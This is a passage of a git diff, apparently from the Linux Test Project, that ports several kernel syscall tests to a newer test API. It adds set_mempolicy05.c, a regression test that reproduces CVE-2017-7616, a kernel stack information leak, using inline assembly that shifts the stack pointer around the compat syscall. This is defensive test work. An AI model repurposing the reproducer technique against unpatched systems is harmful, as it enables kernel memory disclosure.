+	TEST(sendfile(out_fd, in_fd, &offset, tc[i].count));
+	after_pos = SAFE_LSEEK(in_fd, 0, SEEK_CUR);
 
-	TEST(sendfile(out_fd, in_fd, &t->offset, t->count));
-	if (TEST_RETURN == -1)
-		tst_brkm(TBROK | TTERRNO, cleanup, "sendfile(2) failed");
+	if (TST_RET != tc[i].exp_retval)
+		tst_res(TFAIL, "sendfile() failed to return expected value, "
+			       "expected: %" PRId64 ", got: %ld",
+			tc[i].exp_retval, TST_RET);
+	else if (offset != tc[i].exp_updated_offset)
+		tst_res(TFAIL, "sendfile() failed to update OFFSET parameter to "
+			       "expected value, expected: %" PRId64 ", got: %" PRId64,
+			tc[i].exp_updated_offset, (int64_t)(offset));
+	else if (before_pos != after_pos)
+		tst_res(TFAIL, "sendfile() updated the file position of in_fd "
+			       "unexpectedly, expected file position: %" PRId64
+			       ", actual file position %" PRId64,
+			(int64_t)(before_pos), (int64_t)(after_pos));
+	else
+		tst_res(TPASS, "sendfile() with %s", tc[i].desc);
 
-	after_pos = SAFE_LSEEK(cleanup, in_fd, 0, SEEK_CUR);
+	SAFE_CLOSE(in_fd);
+	SAFE_CLOSE(out_fd);
+}
 
-	if (TEST_RETURN != t->exp_retval) {
-		tst_resm(TFAIL, "sendfile(2) failed to return "
-			"expected value, expected: %" PRId64 ", "
-			"got: %ld", t->exp_retval,
-			TEST_RETURN);
-	} else if (t->offset != t->exp_updated_offset) {
-		tst_resm(TFAIL, "sendfile(2) failed to update "
-			"OFFSET parameter to expected value, "
-			"expected: %" PRId64 ", got: %" PRId64,
-			t->exp_updated_offset,
-			(int64_t) t->offset);
-	} else if (before_pos != after_pos) {
-		tst_resm(TFAIL, "sendfile(2) updated the file position "
-			" of in_fd unexpectedly, expected file position: %"
-			PRId64 ", " " actual file position %" PRId64,
-			(int64_t) before_pos, (int64_t) after_pos);
-	} else {
-		tst_resm(TPASS, "%s", t->desc);
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tc),
+	.min_kver = "2.6.33",
+	.max_runtime = 120,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "5d73320a96fcc"},
+		{}
 	}
+};
 
-	close(in_fd);
-	close(out_fd);
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-	int i;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-
-	/* make a temporary directory and cd to it */
-	tst_tmpdir();
-
-	if (!tst_fs_has_free(NULL, ".", 5, TST_GB))
-		tst_brkm(TCONF, cleanup, "sendfile(2) on large file"
-			" needs 5G free space.");
-
-	/* create a 4G file */
-	fd = SAFE_CREAT(cleanup, in_file, 00700);
-	for (i = 1; i <= (4 * 1024); i++) {
-		SAFE_LSEEK(cleanup, fd, 1024 * 1024 - 1, SEEK_CUR);
-		SAFE_WRITE(cleanup, 1, fd, "C", 1);
-	}
-	close(fd);
-
-	fd = SAFE_CREAT(cleanup, out_file, 00700);
-	close(fd);
-}
-
-void cleanup(void)
-{
-	if (fd > 0)
-		close(fd);
-
-	if (in_fd > 0)
-		close(in_fd);
-
-	if (out_fd > 0)
-		close(out_fd);
-
-	tst_rmdir();
-}
-
-int main(int ac, char **av)
-{
-	int i;
-	int lc;
-
-#ifdef TST_ABI32
-	tst_brkm(TCONF, NULL, "This test is only for 64bit");
+#else
+TST_TEST_TCONF("This test is only for 64bit");
 #endif
-
-	if (tst_kvercmp(2, 6, 33) < 0) {
-		tst_resm(TINFO, "sendfile(2) on large file "
-			"skipped for kernels < 2.6.33");
-		return 0;
-	}
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/*
-	 * The following loop checks looping state if -c option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; ++i)
-			do_sendfile(&testcases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
diff --git a/testcases/kernel/syscalls/sendmsg/sendmsg03.c b/testcases/kernel/syscalls/sendmsg/sendmsg03.c
index c7d72f6..505a6dd 100644
--- a/testcases/kernel/syscalls/sendmsg/sendmsg03.c
+++ b/testcases/kernel/syscalls/sendmsg/sendmsg03.c
@@ -105,6 +105,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.max_runtime = 150,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "8f659a03a0ba"},
 		{"CVE", "2017-17712"},
diff --git a/testcases/kernel/syscalls/sendto/sendto03.c b/testcases/kernel/syscalls/sendto/sendto03.c
index 3ecb574..5d2c1e1 100644
--- a/testcases/kernel/syscalls/sendto/sendto03.c
+++ b/testcases/kernel/syscalls/sendto/sendto03.c
@@ -43,6 +43,8 @@
 	int real_gid = getgid();
 	struct ifreq ifr;
 
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
 	SAFE_UNSHARE(CLONE_NEWUSER);
 	SAFE_UNSHARE(CLONE_NEWNET);
 	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
@@ -215,6 +217,10 @@
 		"CONFIG_NET_NS=y",
 		NULL
 	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "bcc5364bdcfe"},
 		{"linux-git", "acf69c946233"},
diff --git a/testcases/kernel/syscalls/set_mempolicy/.gitignore b/testcases/kernel/syscalls/set_mempolicy/.gitignore
index 52ae73b..4c121d2 100644
--- a/testcases/kernel/syscalls/set_mempolicy/.gitignore
+++ b/testcases/kernel/syscalls/set_mempolicy/.gitignore
@@ -2,3 +2,4 @@
 /set_mempolicy02
 /set_mempolicy03
 /set_mempolicy04
+/set_mempolicy05
diff --git a/testcases/kernel/syscalls/set_mempolicy/Makefile b/testcases/kernel/syscalls/set_mempolicy/Makefile
index 55ac002..100780d 100644
--- a/testcases/kernel/syscalls/set_mempolicy/Makefile
+++ b/testcases/kernel/syscalls/set_mempolicy/Makefile
@@ -1,10 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 top_srcdir		?= ../../../..
 
 LTPLIBS = ltpnuma
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-LDLIBS  += $(NUMA_LIBS)
-LTPLDLIBS = -lltpnuma
+NEEDS_LIBS = set_mempolicy01 set_mempolicy02 set_mempolicy03 set_mempolicy04
+
+$(NEEDS_LIBS): LDLIBS  += $(NUMA_LIBS)
+$(NEEDS_LIBS): LTPLDLIBS = -lltpnuma
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c
index 96a2754..07f5d78 100644
--- a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c
+++ b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  */
 
@@ -55,12 +54,12 @@
 	if (TST_RET) {
 		tst_res(TFAIL | TTERRNO,
 		        "set_mempolicy(%s) node %u",
-		        tst_numa_mode_name(mode), node);
+		        tst_mempolicy_mode_name(mode), node);
 		return;
 	}
 
 	tst_res(TPASS, "set_mempolicy(%s) node %u",
-	        tst_numa_mode_name(mode), node);
+	        tst_mempolicy_mode_name(mode), node);
 
 	numa_free_nodemask(bm);
 
diff --git a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c
index 4cdec17..3db9c20 100644
--- a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c
+++ b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  */
 
diff --git a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c
index 24775de..5cfcda6 100644
--- a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c
+++ b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  */
 
@@ -54,12 +53,12 @@
 	if (TST_RET) {
 		tst_res(TFAIL | TTERRNO,
 		        "set_mempolicy(%s) node %u",
-		        tst_numa_mode_name(mode), node);
+		        tst_mempolicy_mode_name(mode), node);
 		return;
 	}
 
 	tst_res(TPASS, "set_mempolicy(%s) node %u",
-	        tst_numa_mode_name(mode), node);
+	        tst_mempolicy_mode_name(mode), node);
 
 	numa_free_nodemask(bm);
 
diff --git a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c
index 32d7b7f..2a1d2e1 100644
--- a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c
+++ b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  */
 
@@ -41,9 +40,11 @@
 
 static void setup(void)
 {
+	int node_min_pages = FILES * (FILES + 1) / 2 * 10 + FILES * 10;
+
 	page_size = getpagesize();
 
-	nodes = tst_get_nodemap(TST_NUMA_MEM, 20 * FILES * page_size / 1024);
+	nodes = tst_get_nodemap(TST_NUMA_MEM, node_min_pages * page_size / 1024);
 	if (nodes->cnt <= 1)
 		tst_brk(TCONF, "Test requires at least two NUMA memory nodes");
 }
diff --git a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy05.c b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy05.c
new file mode 100644
index 0000000..9cc83e6
--- /dev/null
+++ b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy05.c
@@ -0,0 +1,125 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+/*\
+ *
+ * [Description]
+ *
+ * This will reproduce an information leak in the set_mempolicy 32-bit
+ * compat syscall. The catch is that the 32-bit compat syscall is not
+ * used in x86_64 upstream. So at the time of writing, 32-bit programs
+ * on large x86_64 numa systems will be broken if they use
+ * set_mempolicy. OTOH they could not have been exploited either.
+ *
+ * On other architectures the compat syscall is connected. Including
+ * PowerPC which has also been included as well. It is possible some
+ * vendors connected the x86_64 compat call in their kernel branch.
+ *
+ * The kernel allocates memory from the user's stack as a temporary
+ * work area. Allowing it to copy the node array of 32-bit fields to
+ * 64-bit fields. It uses user memory so that it can share the
+ * non-compatability syscall functions which use copy_from_user()
+ * internally.
+ *
+ * Originally the compat call would copy a chunk of the
+ * uninitialized kernel stack to the user stack before checking the
+ * validation result. This meant when the user passed in an invalid
+ * node_mask_ptr. They would get kernel stack data somewhere below
+ * their stack pointer.
+ *
+ * So we allocate and set an array on the stack (larger than any
+ * redzone). Then move the stack pointer to the beginning of the
+ * array. Then move it back after the syscall. We can then check to
+ * see if the array has been modified.
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#include <string.h>
+
+static unsigned int i;
+static int sys_ret;
+static volatile char *stack_ptr;
+
+static void run(void)
+{
+#ifdef __powerpc__
+	register long sys_num __asm__("r0");
+	register long mode __asm__("r3");
+	register long node_mask_ptr __asm__("r4");
+	register long node_mask_sz __asm__("r5");
+#else
+	const int sys_num = 276;
+	const int mode;
+	const int node_mask_ptr = UINT_MAX;
+	const int node_mask_sz = UINT_MAX;
+#endif
+	char stack_pattern[0x400];
+
+	stack_ptr = stack_pattern;
+	memset(stack_pattern, 0xA5, sizeof(stack_pattern));
+	tst_res(TINFO, "stack pattern is in %p-%p", stack_ptr, stack_ptr + 0x400);
+
+#ifdef __powerpc__
+	sys_num = 261;
+	mode = 0;
+	node_mask_ptr = ~0UL;
+	node_mask_sz = ~0UL;
+	asm volatile (
+		"addi 1,1,1024\n\t"
+		"sc\n\t"
+		"addi 1,1,-1024\n\t" :
+		"+r"(sys_num), "+r"(mode), "+r"(node_mask_ptr), "+r"(node_mask_sz) :
+		:
+		"memory", "cr0", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
+	sys_ret = mode;
+#endif
+#ifdef __i386__
+	asm volatile (
+		"add $0x400, %%esp\n\t"
+		"int $0x80\n\t"
+		"sub $0x400, %%esp\n\t" :
+		"=a"(sys_ret) :
+		"a"(sys_num), "b"(mode), "c"(node_mask_ptr), "d"(node_mask_sz) :
+		"memory");
+	sys_ret = -sys_ret;
+#endif
+
+	for (i = 0; i < sizeof(stack_pattern); i++) {
+		if (stack_ptr[i] != (char)0xA5) {
+			tst_brk(TFAIL,
+				"User stack was overwritten with something at %d", i);
+		}
+	}
+
+	switch (sys_ret) {
+	case EFAULT:
+		tst_res(TPASS,
+			"set_mempolicy returned EFAULT (compat assumed)");
+		break;
+	case EINVAL:
+		tst_res(TCONF,
+			"set_mempolicy returned EINVAL (non compat assumed)");
+		break;
+	default:
+		tst_res(TFAIL,
+			"set_mempolicy should fail with EFAULT or EINVAL, instead returned %ld",
+			(long)sys_ret);
+	}
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.supported_archs = (const char *const []) {
+		"x86",
+		"ppc",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "cf01fb9985e8"},
+		{"CVE", "CVE-2017-7616"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c b/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c
index b8639a3..30626d5 100644
--- a/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c
+++ b/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c
@@ -74,7 +74,7 @@
 
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		for (i = 0; i < sizeof(tests) / sizeof(struct test); i++) {
-			TEST(ltp_syscall(tests[i].syscall, tests[i].u_info));
+			TEST(tst_syscall(tests[i].syscall, tests[i].u_info));
 
 			if (TEST_RETURN != tests[i].exp_ret) {
 				tst_resm(TFAIL, "%s returned %li expected %i",
diff --git a/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c b/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c
index 20974a9..11fa275 100644
--- a/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c
+++ b/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c
@@ -112,7 +112,7 @@
 	for (lc = 0; TEST_LOOPING(lc); ++lc) {
 		tst_count = 0;
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			TEST(ltp_syscall(__NR_set_tid_address, &newtid));
+			TEST(tst_syscall(__NR_set_tid_address, &newtid));
 			if (TEST_RETURN == getpid()) {
 				tst_resm(TPASS,
 					 "set_tid_address call succeeded:  as expected %ld",
diff --git a/testcases/kernel/syscalls/setdomainname/setdomainname.h b/testcases/kernel/syscalls/setdomainname/setdomainname.h
index 12c8a08..dcacb0a 100644
--- a/testcases/kernel/syscalls/setdomainname/setdomainname.h
+++ b/testcases/kernel/syscalls/setdomainname/setdomainname.h
@@ -7,9 +7,9 @@
 #define SETDOMAINNAME_H__
 
 #include <string.h>
+#include "tst_test.h"
 #include "lapi/utsname.h"
 #include "lapi/syscalls.h"
-#include "tst_test.h"
 
 #define TST_VALID_DOMAIN_NAME "test_dom"
 
diff --git a/testcases/kernel/syscalls/setegid/setegid01.c b/testcases/kernel/syscalls/setegid/setegid01.c
index 25d7519..eef6631 100644
--- a/testcases/kernel/syscalls/setegid/setegid01.c
+++ b/testcases/kernel/syscalls/setegid/setegid01.c
@@ -1,74 +1,26 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Dan Kegel 2003
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * Test Name: setegid01
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that setegid does not modify the saved gid or real gid.
+ * Verify that setegid() sets the effective UID of the calling process
+ * correctly, and does not modify the saved GID and real GID.
  */
 
-#define _GNU_SOURCE 1
 #include <pwd.h>
-#include <sys/types.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <errno.h>
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "setegid01";
-int TST_TOTAL = 1;
-static void setup(void);
-static void setegid_verify(void);
-static void cleanup(void);
+#include "tst_test.h"
 
 static gid_t nobody_gid;
 
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		setegid_verify();
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
 	struct passwd *nobody;
 
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	nobody = SAFE_GETPWNAM(cleanup, "nobody");
-
+	nobody = SAFE_GETPWNAM("nobody");
 	nobody_gid = nobody->pw_gid;
 }
 
@@ -77,48 +29,28 @@
 	gid_t cur_rgid, cur_egid, cur_sgid;
 	gid_t orig_rgid, orig_egid, orig_sgid;
 
-	SAFE_GETRESGID(cleanup, &orig_rgid, &orig_egid, &orig_sgid);
-	tst_resm(TINFO, "getresgid reports rgid %d, egid %d, sgid %d",
-		 orig_rgid, orig_egid, orig_sgid);
+	SAFE_GETRESGID(&orig_rgid, &orig_egid, &orig_sgid);
+	tst_res(TINFO, "getresgid() reports rgid: %d, egid: %d, sgid: %d",
+			orig_rgid, orig_egid, orig_sgid);
 
-	tst_resm(TINFO, "calling setegid(nobody_gid %d)", nobody_gid);
-	SAFE_SETEGID(cleanup, nobody_gid);
+	tst_res(TINFO, "call setegid(nobody_gid %d)", nobody_gid);
+	SAFE_SETEGID(nobody_gid);
 
-	SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &cur_sgid);
-	tst_resm(TINFO, "getresgid reports rgid %d, egid %d, sgid %d", cur_rgid,
-		 cur_egid, cur_sgid);
+	SAFE_GETRESGID(&cur_rgid, &cur_egid, &cur_sgid);
+	tst_res(TINFO, "getresgid() reports rgid: %d, egid: %d, sgid: %d",
+			cur_rgid, cur_egid, cur_sgid);
 
-	/* make sure it at least does what its name says */
-	if (nobody_gid != cur_egid) {
-		tst_resm(TFAIL, "setegid() failed to change the effective gid");
-		return;
-	}
+	TST_EXP_EQ_LU(nobody_gid, cur_egid);
+	TST_EXP_EQ_LU(orig_rgid, cur_rgid);
+	TST_EXP_EQ_LU(orig_sgid, cur_sgid);
 
-	/* SUSv3 says the real group ID and saved set-gid must
-	 * remain unchanged by setgid.  See
-	 * http://www.opengroup.org/onlinepubs/007904975/functions/setegid.html
-	 */
-	if (orig_sgid != cur_sgid) {
-		tst_resm(TFAIL, "setegid() changed the saved set-gid");
-		return;
-	}
-	if (orig_rgid != cur_rgid) {
-		tst_resm(TFAIL, "setegid() changed the real gid");
-		return;
-	}
-
-	SAFE_SETEGID(cleanup, orig_egid);
-
-	SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &orig_sgid);
-
-	if (orig_egid != cur_egid) {
-		tst_resm(TFAIL, "setegid() failed to reset effective gid back");
-		return;
-	}
-
-	tst_resm(TPASS, "setegid() passed functional test");
+	SAFE_SETEGID(orig_egid);
+	SAFE_GETRESGID(&cur_rgid, &cur_egid, &orig_sgid);
+	TST_EXP_EQ_LU(orig_egid, cur_egid);
 }
 
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = setegid_verify,
+	.needs_root = 1
+};
diff --git a/testcases/kernel/syscalls/setfsgid/setfsgid02.c b/testcases/kernel/syscalls/setfsgid/setfsgid02.c
index 4788957..2a0b0c5 100644
--- a/testcases/kernel/syscalls/setfsgid/setfsgid02.c
+++ b/testcases/kernel/syscalls/setfsgid/setfsgid02.c
@@ -1,91 +1,73 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) International Business Machines  Corp., 2001
  * Ported by Wayne Boyer
- * Adapted by Dustin Kirkland (k1rkland@us.ibm.com)
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Adapted by Dustin Kirkland <k1rkland@us.ibm.com>
+ * Adapted by Zhao gongyi <zhaogongyi@huawei.com>
  */
 
-/*
- *     Testcase to check the basic functionality of setfsgid(2) system
- *     call failures.
+/*\
+ * [Description]
+ *
+ * Testcase for setfsgid() syscall to check that
+ *
+ * - privileged user can change a filesystem group ID different from saved
+ *  value of previous setfsgid() call
+ * - unprivileged user cannot change it
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <grp.h>
 #include <pwd.h>
-#include <sys/types.h>
-#include <errno.h>
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-#include "test.h"
-#include "compat_16.h"
+static gid_t gid;
+static gid_t pre_gid;
+static const char nobody_uid[] = "nobody";
+static struct passwd *ltpuser;
 
-TCID_DEFINE(setfsgid02);
-int TST_TOTAL = 1;
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void run(unsigned int i)
 {
-	int lc;
+	int cnt;
 
-	gid_t gid;
+	GID16_CHECK(gid, setfsgid);
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (i == 0) {
+		ltpuser = SAFE_GETPWNAM(nobody_uid);
+		SAFE_SETEUID(ltpuser->pw_uid);
+	}
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		gid = 1;
-		while (getgrgid(gid))
-			gid++;
-
-		GID16_CHECK(gid, setfsgid, cleanup);
-
-		TEST(SETFSGID(cleanup, gid));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO,
-				"setfsgid() failed unexpectedly");
-			continue;
-		}
-
-		if (TEST_RETURN == gid) {
-			tst_resm(TFAIL, "setfsgid() returned %ld, expected %d",
-				 TEST_RETURN, gid);
+	/*
+	 * Run SETFSGID() twice to check the second running have changed
+	 * the gid for privileged user, and have not changed the gid
+	 * for unprivileged user.
+	 */
+	for (cnt = 0; cnt < 2; cnt++) {
+		TEST(SETFSGID(gid));
+		if ((long)pre_gid != TST_RET) {
+			tst_res(TFAIL, "EUID %d: setfsgid() returned %ld", geteuid(), TST_RET);
 		} else {
-			tst_resm(TPASS, "setfsgid() returned expected value : "
-				 "%ld", TEST_RETURN);
+			tst_res(TPASS, "EUID %d: setfsgid() returned expected value: %ld",
+				geteuid(), TST_RET);
+			if (i == 1) {
+				pre_gid = gid;
+				gid++;
+			}
 		}
 	}
 
-	cleanup();
-	tst_exit();
+	if (i == 0)
+		SAFE_SETEUID(0);
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	pre_gid = 0;
+	gid = 1;
 }
 
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.needs_root = 1,
+	.setup = setup,
+	.test = run,
+	.tcnt = 2,
+};
diff --git a/testcases/kernel/syscalls/setitimer/setitimer02.c b/testcases/kernel/syscalls/setitimer/setitimer02.c
index 4d13cd1..9ac9ce1 100644
--- a/testcases/kernel/syscalls/setitimer/setitimer02.c
+++ b/testcases/kernel/syscalls/setitimer/setitimer02.c
@@ -1,161 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 03/2001 - Written by Wayne Boyer
  *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * NAME
- *	setitimer02.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	setitimer02 - check that a setitimer() call fails as expected
- *		      with incorrect values.
- *
- * ALGORITHM
- *	loop if that option was specified
- *	allocate needed space and set up needed values
- *	issue the system call
- *	check the errno value
- *	  issue a PASS message if we get EFAULT
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  setitimer02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * Check that a setitimer() call fails with EFAULT with invalid itimerval
+ * pointer.
  */
 
-#include "test.h"
-
 #include <errno.h>
 #include <sys/time.h>
+#include <stdlib.h>
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-void cleanup(void);
-void setup(void);
+static struct itimerval *value;
 
-char *TCID = "setitimer02";
-int TST_TOTAL = 1;
-
-#if !defined(UCLINUX)
-
-int main(int ac, char **av)
+static int sys_setitimer(int which, void *new_value, void *old_value)
 {
-	int lc;
-	struct itimerval *value;
+	return tst_syscall(__NR_setitimer, which, new_value, old_value);
+}
 
-	tst_parse_opts(ac, av, NULL, NULL);
+static void verify_setitimer(void)
+{
+	TST_EXP_FAIL(sys_setitimer(ITIMER_REAL, value, (struct itimerval *)-1),
+	             EFAULT);
+}
 
-	setup();		/* global setup */
+static void setup(void)
+{
+	value->it_value.tv_sec = 30;
+	value->it_value.tv_usec = 0;
+	value->it_interval.tv_sec = 0;
+	value->it_interval.tv_usec = 0;
+}
 
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* allocate some space for a timer structure */
-		if ((value = malloc((size_t)sizeof(struct itimerval))) ==
-		    NULL) {
-			tst_brkm(TBROK, cleanup, "value malloc failed");
-		}
-
-		/* set up some reasonable values */
-
-		value->it_value.tv_sec = 30;
-		value->it_value.tv_usec = 0;
-		value->it_interval.tv_sec = 0;
-		value->it_interval.tv_usec = 0;
-		/*
-		 * issue the system call with the TEST() macro
-		 * ITIMER_REAL = 0, ITIMER_VIRTUAL = 1 and ITIMER_PROF = 2
-		 */
-
-		/* call with a bad address */
-		TEST(setitimer(ITIMER_REAL, value, (struct itimerval *)-1));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call failed to produce EFAULT error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case EFAULT:
-			tst_resm(TPASS, "expected failure - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed to produce EFAULT error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-
-		/*
-		 * clean up things in case we are looping
-		 */
-		free(value);
-		value = NULL;
+static struct tst_test test = {
+	.test_all = verify_setitimer,
+	.setup = setup,
+	.bufs = (struct tst_buffers[]) {
+		{&value, .size = sizeof(struct itimerval)},
+		{}
 	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-#else
-
-int main(void)
-{
-	tst_resm(TINFO, "test is not available on uClinux");
-	tst_exit();
-}
-
-#endif /* if !defined(UCLINUX) */
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
